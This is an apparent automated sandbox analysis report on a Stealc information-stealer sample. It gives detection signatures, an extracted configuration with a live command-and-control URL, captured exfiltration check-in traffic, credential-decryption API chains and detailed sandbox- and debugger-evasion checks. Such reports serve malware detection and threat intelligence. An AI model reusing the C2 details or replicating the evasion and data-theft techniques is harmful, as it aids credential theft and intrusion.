Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528602
MD5:	dcbcbb7abc2724683097cb469b37c429
SHA1:	785d9b8ecba52caae4fb1bec9761d5bb1cbff066
SHA256:	d9efe6204be6eab5b04dc98ad054b27df5661cba2a11bc508ee27711686eb918
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DCBCBB7ABC2724683097CB469B37C429)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1689272998.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6392	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6392	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.3b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T04:12:02.369390+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.3b0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_003BC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_003B7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_003B9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_003B9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_003C8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_003C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_003BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_003C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003B16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 34 32 35 35 33 46 35 31 36 34 34 30 32 32 33 39 31 37 38 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"D242553F51644022391788------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"doma------CBGCAFIIECBFIDHIJKFB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003B4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_003B4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 34 32 35 35 33 46 35 31 36 34 34 30 32 32 33 39 31 37 38 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"D242553F51644022391788------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"doma------CBGCAFIIECBFIDHIJKFB--

Source: file.exe, 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.1730462584.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1730462584.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37s

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053	0_2_006DB053
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074017E	0_2_0074017E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077DA30	0_2_0077DA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00779AE6	0_2_00779AE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077EAA2	0_2_0077EAA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00774A97	0_2_00774A97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00889BA9	0_2_00889BA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00856BC3	0_2_00856BC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00824CE7	0_2_00824CE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006834CB	0_2_006834CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00780536	0_2_00780536
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077B51E	0_2_0077B51E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E3E43	0_2_006E3E43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066D624	0_2_0066D624
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0073AFF0	0_2_0073AFF0

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003B45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: gwvifbyy ZLIB complexity 0.9949278137604716

Source: file.exe, 00000000.00000003.1689272998.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_003C9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_003C3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\UZWAMF40.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1806336 > 1048576

Source: file.exe

Static PE information: Raw size of gwvifbyy is bigger than: 0x100000 < 0x192e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.3b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gwvifbyy:EW;nlwliywy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gwvifbyy:EW;nlwliywy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003C9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_003C9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c40e6 should be: 0x1bbeff

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gwvifbyy
Source: file.exe	Static PE information: section name: nlwliywy
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B889 push esi; mov dword ptr [esp], edi	0_2_0081B8C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0081B889 push eax; mov dword ptr [esp], ecx	0_2_0081B8E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003CB035 push ecx; ret	0_2_003CB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078705C push 4AF26E12h; mov dword ptr [esp], ebp	0_2_007870A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push ebx; mov dword ptr [esp], eax	0_2_006DB05D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 3E37D5F5h; mov dword ptr [esp], esi	0_2_006DB097
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push edi; mov dword ptr [esp], ebp	0_2_006DB109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 117418E4h; mov dword ptr [esp], edx	0_2_006DB114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 2D5EBB59h; mov dword ptr [esp], ecx	0_2_006DB121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push ecx; mov dword ptr [esp], ebp	0_2_006DB125
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 288B5101h; mov dword ptr [esp], esi	0_2_006DB14C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 0FCA01B2h; mov dword ptr [esp], ebp	0_2_006DB1A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DB053 push 5A62476Ah; mov dword ptr [esp], eax	0_2_006DB26A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00630825 push ebp; mov dword ptr [esp], 1A21AB9Bh	0_2_0063087B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00630825 push ebp; mov dword ptr [esp], eax	0_2_0063092A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00630825 push ecx; mov dword ptr [esp], 12930B00h	0_2_0063097A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AC013 push 050F09E2h; mov dword ptr [esp], edi	0_2_007AC03C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008330F7 push esi; mov dword ptr [esp], esp	0_2_00833183
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080A038 push eax; mov dword ptr [esp], 3F7C1A7Eh	0_2_0080A065
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080A038 push eax; mov dword ptr [esp], ebp	0_2_0080A0D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080A038 push 7355BA91h; mov dword ptr [esp], ecx	0_2_0080A0F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0080A038 push 5BE0ED00h; mov dword ptr [esp], ebx	0_2_0080A125
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AA0C7 push edi; mov dword ptr [esp], ebx	0_2_007AA121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A28A7 push ebp; mov dword ptr [esp], ebx	0_2_007A28CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A28A7 push ecx; mov dword ptr [esp], eax	0_2_007A28F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085B861 push ebp; mov dword ptr [esp], ebx	0_2_0085B875
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0085B861 push ecx; mov dword ptr [esp], 796DEDBBh	0_2_0085B8B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FB889 push ecx; mov dword ptr [esp], eax	0_2_007FB8B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A0082 push edi; mov dword ptr [esp], edx	0_2_007A0010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074017E push ebx; mov dword ptr [esp], ecx	0_2_007401B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082A9AC push ebx; mov dword ptr [esp], esi	0_2_0082A9E1

Source: file.exe

Static PE information: section name: gwvifbyy entropy: 7.95408378221177

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_003C9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13548

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A47 second address: 611A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786B24 second address: 786B48 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F76A53B3876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F76A53B3876h 0x00000012 jmp 00007F76A53B3882h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786DF9 second address: 786E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A5412C0Bh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786E0E second address: 786E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76A53B3889h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78727C second address: 78729A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a jne 00007F76A5412C0Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F76A5412C06h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788E2B second address: 788E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jmp 00007F76A53B387Ch 0x00000016 jmp 00007F76A53B3884h 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
